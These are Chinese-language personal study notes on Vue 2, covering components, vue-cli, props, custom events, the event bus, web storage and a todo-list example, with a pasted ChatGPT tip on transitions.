  1. 生命周期就是一些在关键函数运行的关键的特殊的函数
  2. 里面包含的this指向是vm实例

js的对象 表达式,可以简写成
原式为:style=“{opacity:opacity}”

debugger断点的使用

挂载

销毁

* 透明度案例


2.2 组件

组件可以嵌套

data写成函数式
改变x1的值不会影响x2,但是写成对象式就会相互影响

2.2.1 非单文件组件 .js

一个组件中包含n个组件

组件的使用过程

  1. 创建
  2. 注册
  3. 使用

局部组件

<body><div id="fang"><school></school><hr><stu></stu><stu></stu></div>
</body>
<script>// 创建school组件const school = Vue.extend({template:`<div><div>学校名称:{{schoolName}}</div><div>学校地址:{{address}}</div></div>`,data() {return {schoolName: '尚硅谷',address: '北京'}}})const stu = Vue.extend({template:`<div><div>学生名称:{{stuName}}</div><div>学生年龄:{{age}}</div></div>`,data() {return {stuName: 'Lucy',age: '18'}}})new Vue({el: '#fang',//注册组件(局部)components: {//可以简写(键值相同时)school,stu}})
</script>

全局组件
全局组件可以在任意模块使用

<body><div id="fang"><hello></hello></div><div id="hai"></div>
</body>
<script>//创建hello组件const hello = Vue.extend({template: `<div>{{hi}}</div>`,data() {return {hi: '你好~~~'}}})//注册hello组件Vue.component('hello', hello)//不能先挂载实例,把上面代码放到最后,会导致,vue找不到组件,(因为未注册new Vue({el: '#fang',})new Vue({el: '#hai'})</script>

组件注意事项

(1)组件的嵌套

子组件要写在父组件代码的上方,要提前准备好

<body>
<div id="fang"><school></school>
</div>
</body>
<script>// 定义stu组件const stu = {name: 'stu',template:`<div>学生姓名:{{stuName}}<br>学生地址:{{age}}<hr></div>`,data(){return{stuName:'Lucy',age:'18'}},}// 定义school组件const school = {name: 'school',template:`<div>学校姓名:{{schoolName}}<br>学校地址:{{address}}<hr><stu></stu></div>`,data(){return{schoolName:'尚硅谷',address:'北京'}},components:{stu}}new Vue({el:'#fang',components:{school}})
</script>

<body><div id="fang"><hello></hello><school></school><hello></hello><app></app>
</div>
</body>
<script>// 定义stu组件const stu = {name: 'stu',template:`<div>学生姓名:{{stuName}}<br>学生地址:{{age}}<hr></div>`,data(){return{stuName:'Lucy',age:'18'}},}// 定义school组件const school = {name: 'school',template:`<div>学校姓名:{{schoolName}}<br>学校地址:{{address}}<hr><stu></stu></div>`,data(){return{schoolName:'尚硅谷',address:'北京'}},components:{stu}}//const hello={name:'hello',template:`<div>你好<hr></div>`,// template:`<div>{{hell}}<hr></div>`,// data(){//     return{//         hell:'你好'//     }// }}//定义app组件const app={template:`<div><school></school><hello></hello></div>`,components:{school,hello}}new Vue({el:'#fang',components:{school,hello,app}})
</script>

(2)Vuecomponent




长的一样

(3)vue实例与组件实例

组件是组件是可复用的vue实例

(4)重要的内置关系


__proto__指向缔造者的原型对象

<body><div id="fang"><school></school></div>
</body>
<script>
Vue.prototype.x=99999
const school=Vue.extend({template:`<div><button @click="show">点我输出x</button></div>`,methods: {show(){//vc是组件实例对象,可以省略__proto__直接加.xconsole.log(this.x)}},
})
const vm=new Vue({el:'#fang',components:{school}
})
</script>

2.2.2 单文件组件 .vue

一个文件只包含1个组件

选择一个暴露方式

  1. 默认暴露:在文章最后写上一行export default school
    或者
    (下面省略了vue.extend{ })

引入时:import ??? from ???

  1. 统一暴露
  2. 分别暴露

(1) 快速创建

<v +回车键

main.js里的
可以代替 index.html里的

三、vue-cli

3.1 安装应用

command line interface——命令行接口工具
脚手架向下可以兼容

先进入此文件,再npm run serve


按ctrl+c

第一回在vscode里运行好!!!!!!!!!!!!!!!!!!!!!!!!!!

3.2 分析vue-cli结构

  1. v_test\stu\src\assets 用于放静态资源

(2)配置文件

const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({transpileDependencies: true,//取消eslint报错lintOnSave:false
})

3.3 ref

//main.js
import Vue from 'vue'
import App from './App.vue'Vue.config.productionTip=false
new Vue({el:'#fang',render:h=>h(App)
})//App.vue
<template><div><Stu/><Stu/><Stu/></div>
</template><script>
import Stu from './components/Stu.vue'export default {
name:'App',
//为引入的组件注册
components:{Stu
}
}</script><style></style>//Stu.vue
<template><div>学生姓名:{{ name }}<br>学生年龄{{ age }}</div>
</template><script>
export default{
name:'Student',
data(){return {name:'lucy',age:18}
}
}
</script><style></style>//vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({transpileDependencies: true,//取消eslint报错lintOnSave:false
})


  methods: {show() {console.log(this.$refs.title);},},

//App.vue
<template><div><h2 ref="title" v-text="a"></h2><button ref="btn  " @click="show">点我查看上方DOM信息</button><Stu /><Stu /><Stu ref="sch" /></div>
</template><script>
import Stu from "./components/Stu.vue";
export default {name: "App",//为引入的组件注册components: {Stu,},data() {return {a: "学生信息",};},methods: {show() {console.log(this.$refs);},},
};
</script><style>
</style>

3.4 props

三个组件中的数据互不影响,因为data是函数写法,每次都会调用

//App.vue
<template><div><!-- 传入数据 --><stu name='lucy' age='18' sex="女"  /><stu name='jack' age='19' sex="男"  /><stu/></div>
</template><script>
import Stu from "./components/Stu.vue";
export default {name: "App",//为引入的组件注册components: {Stu,},
};
</script>//Stu.vue
<template><div><h2>{{ msg}}</h2>学生姓名:{{ name }}<br>学生性别:{{ sex }}<br>学生年龄{{ age }}</div>
</template><script>
export default{
name:'Student',
data(){return {
msg:'学生信息'}
},
//接收数据(一般接收)
//props:['name','age','sex']
//对数据进行限制的接收
props:{name:String,age:Number,sex:String
}
//}
</script>

因为传入的age是字符串18,所以会报错
可以改变传入数据
<stu name='lucy' age='18' sex="女" />
<stu name='jack' age='19' sex="男" />
这样:age后面的’'里的内容为一个变量,可以放表达式

//App.vue
<template><div><!-- 传入数据 --><stu name='lucy' :age='18' sex="女"  /><stu name='jack' :age='19' sex="男"  /><stu/></div>
</template><script>
import Stu from "./components/Stu.vue";
export default {name: "App",//为引入的组件注册components: {Stu,},
};
</script>//Stu.vue
<template><div><h2>{{ msg }}</h2>学生姓名:{{ name }}<br />学生性别:{{ sex }}<br />学生年龄{{ age }}</div>
</template><script>
export default {name: "Student",data() {return {msg: "学生信息",};},// props:['name','age','sex']props: {name: {type: String,//若不传如则会报错required: true,},age: {type: Number,//若不传时,给出的默认值default: 99,},sex: {type: String,required: false,},},
};
</script>

props优先级高于data中的数据

想修改传入的信息,但是不想报错

//App.vue
<template><div><!-- 传入数据 --><stu name='lucy' :age='18' sex="女"  /><stu name='jack' :age='19' sex="男"  /></div>
</template><script>
import Stu from "./components/Stu.vue";
export default {name: "App",//为引入的组件注册components: {Stu,},
};
</script>//Stu.vue
<template><div><h2>{{ msg }}</h2>学生姓名:{{ name }}<br />学生性别:{{ sex }}<br />学生年龄:{{ updateAge }}<br><button @click="update">点我 学生的年龄加1</button></div>
</template><script>
export default {name: "Student",data() {return {msg: "学生信息",updateAge:this.age};},methods:{update(){this.updateAge++console.log(this.name,'的年龄加1')}},props:['name','age','sex']};
</script>


2.5 mixin 混入

用于每个组件都要用的配置,可以写在一起

局部引入


全局混入

2.6 plugins插件

本质是对象

2.7 scoped 样式

scoped 局部的
样式最终都会到一个地方,所以会出现覆盖情况

解决方法

<style scoped>
.s{background-color: rgb(159, 243, 215);
}
</style>

相当于给元素加上特殊标识

2.8 less 嵌套

lang=‘ ’不写默认是css

//安装7版本
npm i less-loader@7


//Stu.vue<template><div class="s"><h3>{{ msg }}</h3>学生姓名:{{ name }}<br><div class="sex">学生性别:{{ sex }}</div>学生年龄:{{ age }}<hr></div>
</template>
<script>export default {name: "Student",data() {return {msg: "学生信息",name:'Wucpp',age:21,sex:'女'}}
};
</script>
<style lang="less">
.s{background-color: rgb(240, 209, 248);.sex{color:red;}
}
</style>

* 案例todolist

(1)静态准备

上面位置创建错了,移动了一下


(2) 添加

1.1 uuid => nanoid

methods:{add(e){// console.log(this.title)  v-model也可// console.log(e.target.value)const newTodo={id:nanoid(),title:e.target.value,done:false}console.log(newTodo)}}


a、 儿子给父亲传信

父亲提前写一个函数,在儿子里调用函数

//Top.vue<template><div class="todo-header"><input type="text"  @keyup.enter="add" placeholder="请输入你的任务名称,按回车键确认"/></div>
</template><script>
import {nanoid} from 'nanoid'
export default {name:'Top',data(){return {}},//接收app传的函数receiveprops:['addTodo'],methods:{add(newInput){//将用户的输入包装成一个对象// console.log(this.title)  v-model也可// console.log(e.target.value)const newTodo={id:nanoid(),title:newInput.target.value,done:false}// console.log(newTodo)this.addTodo(newTodo)//每次添加后清空newInput.target.value=''}},}
</script><style scoped>
/*header*/
.todo-header input {width: 560px;height: 28px;font-size: 14px;border: 1px solid #ccc;border-radius: 4px;padding: 4px 7px;
}.todo-header input:focus {outline: none;border-color: rgba(82, 168, 236, 0.8);box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
}</style>
//mylist.vue<template><div><ul class="todo-main"><!-- todoData用于传数据 :把list的传给item--><Item v-for="todosListEach in todosMyList" :key="todosListEach.id" :todoItem="todosListEach" /></ul></div>
</template><script>
import Item from './Item.vue'
export default {name:'MyList',components:{Item},//从App收入的所有列表数据是vc,可以直接使用props:['todosMyList']
}
</script><style scoped>
/*main*/
.todo-main {margin-left: 0px;border: 1px solid #ddd;border-radius: 2px;padding: 0px;
}.todo-empty {height: 40px;line-height: 40px;border: 1px solid #ddd;border-radius: 2px;padding-left: 5px;margin-top: 10px;
}
</style>
//App.vue<template><div id="root"><div class="todo-container"><div class="todo-wrap"><!-- 把app的数据传给top --><Top :addTodo="addTodo" /><!-- 把app的数据传给list --><MyList :todosMyList="todosApp" /><Bottom /></div></div></div>
</template><script>
import Top from "./components/Top.vue";
import Bottom from "./components/Bottom.vue";
import MyList from "./components/MyList.vue";
export default {name: "App",components: {Top,Bottom,MyList,},data() {return {todosApp: [{ id: "001", title: "吃饭", done: false },{ id: "002", title: "睡觉", done: false },{ id: "003", title: "学习", done: true },],};},methods: {addTodo(newTodo) {// console.log('我是App组件,我收到了数据:',x)//下面一行操作了data中的数据this.todosApp.unshift(newTodo);},},
};
</script><style>
/*base*/
* {text-decoration: none;list-style-type: none;
}
body {background: #fff;
}.btn {display: inline-block;padding: 4px 12px;margin-bottom: 0;font-size: 14px;line-height: 20px;text-align: center;vertical-align: middle;cursor: pointer;box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);border-radius: 4px;
}.btn-danger {color: #fff;background-color: #da4f49;border: 1px solid #bd362f;
}.btn-danger:hover {color: #fff;background-color: #bd362f;
}.btn:focus {outline: none;
}.todo-container {width: 600px;margin: 0 auto;
}
.todo-container .todo-wrap {padding: 10px;border: 1px solid #ddd;border-radius: 5px;
}
</style>
//item.vue<template><div><li><label><input type="checkbox" :checked="todoItem.done" /><span>{{todoItem.title}}</span></label><button class="btn btn-danger" style="display:none">删除</button></li></div>
</template>
<script>
export default {name:'Item',//声明接收TODO对象(从MyList接收的)props:['todoItem']
}
</script><style scoped>
/*item*/
li {list-style: none;height: 36px;line-height: 36px;padding: 0 5px;border-bottom: 1px solid #ddd;
}li label {float: left;cursor: pointer;
}li label li input {vertical-align: middle;margin-right: 6px;position: relative;top: -1px;
}li button {float: right;display: none;margin-top: 3px;
}li:before {content: initial;
}li:last-child {border-bottom: none;
}</style>

(3) 勾选

(4)删除

(5)底部互动

//App.vue<template><div id="root"><div class="todo-container"><div class="todo-wrap"><!-- 把app的数据传给top --><Top :addTodo="addTodo" /><!-- 把app的数据传给list --><MyList :todosMyList="todosApp" :checkList="checkApp":delList="delApp"/><Bottom :todosBottom="todosApp" :checkAllList="checkAllApp":clearAlldone="clearAlldone" /></div></div></div>
</template><script>
import Top from "./components/Top.vue";
import Bottom from "./components/Bottom.vue";
import MyList from "./components/MyList.vue";
export default {name: "App",components: {Top,Bottom,MyList,},data() {return {todosApp: [{ id: "001", title: "吃饭", done: false },{ id: "002", title: "睡觉", done: false },{ id: "003", title: "学习", done: true },],};},methods: {//添加todoaddTodo(newTodo) {// console.log('我是App组件,我收到了数据:',x)//下面一行操作了data中的数据this.todosApp.unshift(newTodo);},//勾选或者取消选择checkApp(id){this.todosApp.forEach((todoItem)=>{if(todoItem.id===id) todoItem.done=!todoItem.done})},//删除tododelApp(id){//别忘记赋值给新数组this.todosApp=this.todosApp.filter((todoItem) =>{return todoItem.id !== id})},//全选或者全不选checkAllApp(done){this.todosApp.forEach((todoeach)=>{todoeach.done=done})},clearAlldone(){//filter不影响原数组,要赋值回去this.todosApp=this.todosApp.filter((todoItem)=>{return !todoItem.done})}},
};
</script><style>
/*base*/
* {text-decoration: none;list-style-type: none;
}
body {background: #fff;
}.btn {display: inline-block;padding: 4px 12px;margin-bottom: 0;font-size: 14px;line-height: 20px;text-align: center;vertical-align: middle;cursor: pointer;box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);border-radius: 4px;
}.btn-danger {color: #fff;background-color: #da4f49;border: 1px solid #bd362f;
}.btn-danger:hover {color: #fff;background-color: #bd362f;
}.btn:focus {outline: none;
}.todo-container {width: 600px;margin: 0 auto;
}
.todo-container .todo-wrap {padding: 10px;border: 1px solid #ddd;border-radius: 5px;
}
</style>
//Bottom.vue<template><div class="todo-footer"><label><!-- <input type="checkbox" v-model="isAll" @change="checkAll"/> --><input type="checkbox" v-model="isAll" /></label><span><span>已完成{{ todosDone }}</span> / 全部{{ todosBottom.length }}</span><button class="btn btn-danger" @click="clearAll">清除已完成任务</button></div>
</template><script>
export default {name: "Bottom",props: ["todosBottom", "checkAllList", "clearAlldone"],computed: {// todosDone(){//   let i=0//   this.todosBottom.forEach((todoItem)=>{//     if(todoItem.done)//     i++//   })//   return i// }// ES6条件统计reduce//返回的是上次调用后的结果// todosDone(){//   this.todosBottom.reduce((pre,current)=>{//     // console.log(current)//打印出三个todo对象//     return pre+(current.done ? 1 : 0)//   },0)//简写todosDone() {return this.todosBottom.reduce((pre, current) => pre + (current.done ? 1 : 0),0);},//isAll不可以简写//写了get,set就不用写checkAllList了isAll: {get() {return this.todosDone === this.todosBottom.length && this.todosDone > 0;},set(e) {this.checkAllList(e);},},// isAll(){//   return this.todosDone===this.todosBottom.length&&this.todosDone>0// }},methods: {//   checkAll(e){//     console.log(e.target.checked)//      this.checkAllList(e.target.checked)//   }clearAll() {//注意加this!!!!!!!!!!if (confirm("确定要清除所有已经完成的待办吗?")) this.clearAlldone();},},
};
</script><style scoped>
/*footer*/
.todo-footer {height: 40px;line-height: 40px;padding-left: 6px;margin-top: 5px;
}.todo-footer label {display: inline-block;margin-right: 20px;cursor: pointer;
}.todo-footer label input {position: relative;top: -1px;vertical-align: middle;margin-right: 5px;
}.todo-footer button {float: right;margin-top: 5px;
}
</style>

(6) 总结

2.9 webStorage

2.9.1 localStorage

浏览器关闭数据也不会消失

创建

<button onclick="localData()">点我保存一个数据</button><script>function localData() {//都得是字符串window.localStorage.setItem('a', 'b')localStorage.setItem('msg', 'hello')//下面的会覆盖上面的localStorage.setItem('msg', 'c')}</script>

    <button onclick="localData()">点我保存一个数据</button><script>let per1={name:'lucy',age:18,sex:'女'}function localData() {window.localStorage.setItem('person1',JSON.stringify(per1))}</script>

读取删除

    <button onclick="localData()">点我保存一个数据</button><button onclick="readData()">点我读取一个数据</button><button onclick="delData()">点我删除一个数据</button><script>let per1={name:'lucy',age:18,sex:'女'}function localData() {window.localStorage.setItem('person1',JSON.stringify(per1))}function readData() {console.log(window.localStorage.getItem('person1'))console.log(JSON.parse(window.localStorage.getItem('person1')))}function delData() {localStorage.removeItem('person1')}</script>

清空

function clearData() {localStorage.clear()}

2.9.2 sessionStorage

浏览器关闭,信息就消失

    <button onclick="createData()">点我保存一个数据</button><button onclick="readData()">点我读取一个数据</button><button onclick="clearData()">点我清空数据</button><script>let per1={name:'lucy',age:18,sex:'女'}let per2={name:'jack',age:18,sex:'女'}function createData() {window.sessionStorage.setItem('person1',JSON.stringify(per1))window.sessionStorage.setItem('person2',JSON.stringify(per2))}function readData() {console.log(window.sessionStorage.getItem('person1'))console.log(window.sessionStorage.getItem('person2'))console.log(JSON.parse(window.sessionStorage.getItem('person1')))console.log(JSON.parse(window.sessionStorage.getItem('person1')))}function clearData() {sessionStorage.clear()}</script>

* todo本地存储

2.10 组件的自定义事件

绑定

方法1

this.$emit(“事件名”’)触发

方法2

改写成this.$refs.student.$once('fang',this.getStuName)或者<Stu @fang.once="getStuName"></Stu>
若想传一堆参数,用...接收

解绑

但是原生的事件依然奏效

总结

若要在组件中,将click当成点击事件,则需要在事件后面加上.native修饰符。

* todo子给父传


2.11全局事件总线

  1. 让所有组件都能看到

  2. 使其有$on,$emit等方法

2.12消息订阅与发布

第三方库pubsub.js

* todo案例编辑

//item.vue<template><div><li><label><inputtype="checkbox":checked="todoItem.done"@change="checkFn(todoItem.id)"/><!-- //变化频繁 --><span v-show="!todoItem.isEdit" @click="addEdit(todoItem)">{{todoItem.title}}</span><input type="text"v-show="todoItem.isEdit":value="todoItem.title"@blur="blurFn(todoItem, $event)"ref="inputTitle"/></label><!-- 调用删除元素的函数时,记得要传入每个元素的id --><button class="btn btn-danger" @click="delFn(todoItem.id)">删除</button><button class="btn btn-edit" @click="addEdit(todoItem)">编辑</button></li></div>
</template>
<script>
export default {name: "Item",//声明接收TODO对象(从MyList接收的)props: ["todoItem"],methods: {//编辑,添加编辑属性addEdit(a) {if (a.hasOwnProperty("isEdit")) {this.todoItem.isEdit = true;} else {this.$set(this.todoItem, "isEdit", true);}// 使一点击编辑按钮就锁定光标//nextTick所指定的回调,会在dom节点更新完毕后再执行this.$nextTick(function () {this.$refs.inputTitle.focus();});},//失去焦点(真正执行修改逻辑)blurFn(todoItem, e) {this.todoItem.isEdit = false;if (!e.target.value.trim()) return alert("输入不能为空");//触发app.vue里的editApp函数//并传入这个todo的id和输入值this.$bus.$emit("blurFnName", todoItem.id, e.target.value);},//勾选checkFn(id) {// console.log(id)// 对app里的数据进行取反操作// this.checkItem(id);//使用事件总线this.$bus.$emit("checkApp", id);},//删除delFn(id) {if (confirm("确定删除吗")) {// this.delItem(id)this.$bus.$emit("delApp", id);}},},
};
</script><style scoped>
/*item*/
li {list-style: none;height: 36px;line-height: 36px;padding: 0 5px;border-bottom: 1px solid #ddd;
}li label {float: left;cursor: pointer;
}li label li input {vertical-align: middle;margin-right: 6px;position: relative;top: -1px;
}li button {float: right;display: none;margin-top: 3px;
}li:before {content: initial;
}li:last-child {border-bottom: none;
}
li:hover {background-color: rgba(116, 101, 102, 0.068);
}
li:hover button {display: block;
}
</style>
//App.vue<template><div id="root"><div class="todo-container"><div class="todo-wrap"><!-- 把输入的内容加到表格中,用自定义事件完成 --><!-- 事件名、回调名  --><Top @addTodoEvent="addTodo" /><!-- 把app的数据传给list --><MyList :todosMyList="todosApp" /><Bottom:todosBottom="todosApp"@checkAllList="checkAllApp"@clearAlldone="clearAlldone"/></div></div></div>
</template>
<script>
import Top from "./components/Top.vue";
import Bottom from "./components/Bottom.vue";
import MyList from "./components/MyList.vue";
export default {name: "App",components: {Top,Bottom,MyList,},data() {return {// todosApp: [//   { id: "001", title: "吃饭", done: false },//   { id: "002", title: "睡觉", done: false },//   { id: "003", title: "学习", done: true },// ],//下一行若不加||[]则会影响到Bottom。vue//Bottom.vue中使用了.length,而当数据为空时,localStorage.getItem读出来的是null//而null没有.length方法会导致报错todosApp: JSON.parse(localStorage.getItem("todosApp")) || [],};},methods: {//编辑,失去焦点后,不是输入框形式,并保存输入的值editApp(id, title) {this.todosApp.forEach((todoItem) => {if (todoItem.id === id) todoItem.title = title;});},//添加todoaddTodo(newTodo) {// console.log('我是App组件,我收到了数据:',x)//下面一行操作了data中的数据this.todosApp.unshift(newTodo);},//勾选或者取消选择checkApp(id) {this.todosApp.forEach((todoItem) => {if (todoItem.id === id) todoItem.done = !todoItem.done;});},//删除tododelApp(id) {//别忘记赋值给新数组this.todosApp = this.todosApp.filter((todoItem) => {return todoItem.id !== id;});},//全选或者全不选checkAllApp(d) {this.todosApp.forEach((todoeach) => {todoeach.done = d;});},clearAlldone() {//filter不影响原数组,要赋值回去this.todosApp = this.todosApp.filter((todoItem) => {return !todoItem.done;});},},//使用监听属性,把todo存在本地存储中//若想要监测到任务是否完成(todo.done)对象里面的属性,需要使用深度监视watch: {// todosApp(newtodo){//   localStorage.setItem('todosApp',JSON.stringify(newtodo))// }//深度监视写法todosApp: {deep: true,handler(newtodo) {localStorage.setItem("todosApp", JSON.stringify(newtodo));},},},//创建事件总线mounted() {this.$bus.$on("checkApp", this.checkApp);this.$bus.$on("delApp", this.delApp);this.$bus.$on("blurFnName", this.editApp);},beforeDestroy() {this.$bus.$off("checkApp");this.$bus.$off("blurFnName");},
};
</script><style>
/*base*/
* {text-decoration: none;list-style-type: none;
}
body {background: #fff;
}.btn {display: inline-block;padding: 4px 12px;margin-bottom: 0;font-size: 14px;line-height: 20px;text-align: center;vertical-align: middle;cursor: pointer;box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2),0 1px 2px rgba(0, 0, 0, 0.05);border-radius: 4px;
}.btn-danger {color: #fff;background-color: #da4f49;border: 1px solid #bd362f;
}
.btn-edit {color: #fff;background-color: #51b1b8;border: 1px solid #bd362f;margin-right: 5px;
}
.btn-edit:hover {color: #fff;background-color: #398e94;border: 1px solid #bd362f;margin-right: 5px;
}.btn-danger:hover {color: #fff;background-color: #bd362f;
}.btn:focus {outline: none;
}.todo-container {width: 600px;margin: 0 auto;
}
.todo-container .todo-wrap {padding: 10px;border: 1px solid #ddd;border-radius: 5px;
}
</style>

2.13 nextTick


用定时器也可以

2.14 css样式

动画

<template><div><button @click="show = !show">显示/隐藏</button><transition name="hai" appear><h3 v-show="show" >hello</h3></transition></div>
</template>
<script>
export default {name: "Test",data() {return {show: true,};},
};
</script><style>
h3{background-color: pink;
}
.hai-inter-active{animation: fang 1s ;
}
.hai-leave-active{animation: fang 1s reverse;
}
@keyframes fang{from{transform: translateX(-100px);}to{transform: translateX(0px);}
}
</style>

过渡

<template><div><button @click="show = !show">显示/隐藏</button><transition name="hai" appear><h3 v-show="show" >hello</h3></transition></div>
</template>
<script>
export default {name: "Test2",data() {return {show: true,};},
};
</script><style>
h3{background-color: pink;transition: 0.5s linear ;
}
.hai-enter,.hai-leave-to{transform: translateX(-100%);
}
.hai-enter-to,.hai-leave{transform: translateX(0);
}</style>

(1) 多个元素过渡

<transition-group name="hai" ><h3 v-show="show"  key="1">hello</h3><h3 v-show="show" key="2">vue</h3></transition-group>

(2)动画库

chatgpt
我看到你在样式中使用了 animation 属性来创建动画,实现了元素进入时的移动效果。但是你还需要同时使用 transition 事件来实现元素离开时的过渡效果。建议你按照以下步骤修改代码,实现离开过渡效果:

  1. v-if 改为 v-show。因为 v-if 会在元素删除时直接删除元素,没有过渡效果,而 v-show 只是控制了元素的显示或隐藏,可以实现过渡。

  2. li 元素外层添加 transition 标签,并设置 nameappear 属性。这里的 name 属性是用来指定过渡名称的,需要在样式中定义对应的过渡类。appear 属性是用来指定是否在第一次渲染时就产生过渡效果的,需要设置为 true。

  3. 在样式中定义对应的过渡类 .todo-enter.todo-leave-to.todo-enter 定义了进入过渡的样式,.todo-leave-to 定义了离开过渡的样式。

下面是修改后的代码片段:

<template><div><transition name="todo" appear><li v-show="!todoItem.isDelete"><!-- ... --></li></transition></div>
</template><script>
export default {name: "Item",//声明接收TODO对象(从MyList接收的)props: ["todoItem"],methods: {//...delFn(id) {if (confirm("确定删除吗")) {// 将 isDelete 置为 true,触发离开过渡this.todoItem.isDelete = true;this.$bus.$emit("delApp", id);}},},
};
</script><style scoped>
/*item*/
li {list-style: none;height: 36px;line-height: 36px;padding: 0 5px;border-bottom: 1px solid #ddd;position: relative;
}li:before {content: initial;
}li:last-child {border-bottom: none;
}/* 定义过渡类 */
.todo-enter {opacity: 0;transform: translateX(50%);
}.todo-leave-to {opacity: 0;transform: translateX(-50%);
}/* 定义过渡规则 */
.todo-enter-active, .todo-leave-active {transition: all 0.5s ease;
}.todo-enter-active {animation: ying 0.5s;
}/* 定义进入动画 */
@keyframes ying {from {transform: translateX(100%);}to {transform: translateX(0px);}
}
</style>

注意,在删除时,需要将 isDelete 属性设置为 true,然后等待过渡效果完成后再触发删除操作。这样可以确保元素顺利过渡完成,避免可能的错误。同时,你还需要在父组件中接收delApp 事件并进行对应的操作,例如删除数据源中对应的元素,从而完成元素的删除。

Vue——May(1)相关推荐

  1. Vue学习(vuex)-学习笔记

    文章目录 Vue学习(vuex)-学习笔记 含义理解 具体代码 辅助函数 mapGetters mapActions Vue学习(vuex)-学习笔记 含义理解 State Vuex 使用单一状态树- ...

  2. vue笔记(一)基本使用、数据检测

    vue 官网 Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架.与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用. 一.基本使用 二.数据检测 一.Vu ...

  3. vue笔记(二)Vue-class与style、事件、计算属性、数据监听、指令+自定义指令、过滤器

    vue官网 一 .class.style操作 二.事件 三.计算属性 四.数据监听.观测 五.指令+自定义指令 六.过滤器 一 .class.style操作 官网 1. class使用: (1)v-b ...

  4. vue实战(9):总结二

    整理前一段所做的工作内容 0.其它 vue实战(1):准备与资料整理 vue实战(2):初始化项目.搭建底部导航路由 vue实战(3):底部导航显示.搭建各模块静态页面.添加登录页页面与路由 vue实 ...

  5. Vue系列(2):Vue 安装

    前言:关于页面上的知识点,如有侵权,请看 这里 . 关键词:小白.Vue 安装.Vue目录结构.Vue 构建页面流程 ? 初学者安装 vue 用什么好 大家都知道,学 Vue 最好还是去官网学,官网写 ...

  6. Vue组件(二)父组件、子组件通信/传值

    一.Vue 父组件访问子组件 1.父组件获取子组件对象 通过ref引用属性访问子组件对象 定义: <StudentInfo :num="parentNum" ref=&quo ...

  7. vue实战(11):开发店铺详情(二)

    懒癌发作-- 本篇有关于列表滚动的内容,有点复杂,好好分析 0. 其它 vue实战(1):准备与资料整理 vue实战(2):初始化项目.搭建底部导航路由 vue实战(3):底部导航显示.搭建各模块静态 ...

  8. 4.Vue指令(Directives)

    目录 1. Vue环境搭建(Node) 2. npm与yarn详细使用 3. Vue介绍及其基本使用 4. Vue指令(Directives) 5. Vue修饰符(Modifier) 6. Vue计算 ...

  9. vue ui工具来创建vue项目(IDEA)

    使用vue ui工具来创建vue项目(IDEA) 1.下载node.js 首先我们上node.js官网, 下载最新的长期版本,直接运行安装完成之后,我们就已经具备了node和npm的环境 2.检查是否 ...

最新文章

  1. vs中如何开发mysql_VS2015如何连接mySQL数据库图文
  2. linux下的time函数们
  3. python 求厉害数
  4. Eureka-服务注册
  5. Beetlex之websocket/tls服务压测工具
  6. 将终结点图添加到你的ASP.NET Core应用程序中
  7. React开发(248):react项目理解 ant design input autosize
  8. JAVA的嵌入式脚本开发(上)
  9. ssm中ajax无反应,jquery + bootstrap(模态框romote) + click - ajax + SSM插入数据库没反应...
  10. C#导出VCF格式电话本,遇到QUOTED-PRINTABLE编码的问题,附带QUOTED-PRINTABLE编码解码
  11. windows10的etc路径下没有hosts文件
  12. SQL 注入的资料,快速查表大全
  13. 集运转运系统源码,快递物流一件代付系统源码
  14. 软件质量控制相关知识
  15. 广告业务系统 之 承前启后 —— “消息中心”
  16. 养颜有妙--招-喝水可祛痘、退烧、养胃、助眠
  17. JETSON XAVIER NX 入门教程(一)入手刷机过程
  18. 2019-2月份月度总结
  19. 基于51单片机的软件IIC详细讲解
  20. deepstream(deepstream python)

热门文章

  1. c语言while延时10ms,for循环实现C语言精确延时
  2. Docker基础笔记
  3. 服务器受美国保护网站,该网站服务器受美国保护
  4. 微信的原创保护机制到底是如何实现的?
  5. StreamNative 联合创始人翟佳出席QCon北京峰会并发表演讲
  6. Navicat自动生成SQL神器
  7. 技术解析:一文看懂 Anolis OS 国密生态|龙蜥专场
  8. matlab 去条带噪声,一种图像条带噪声及坏线消除方法
  9. el-table展示枚举值
  10. 【思特奇杯·云上蓝桥·算法集训营】第四周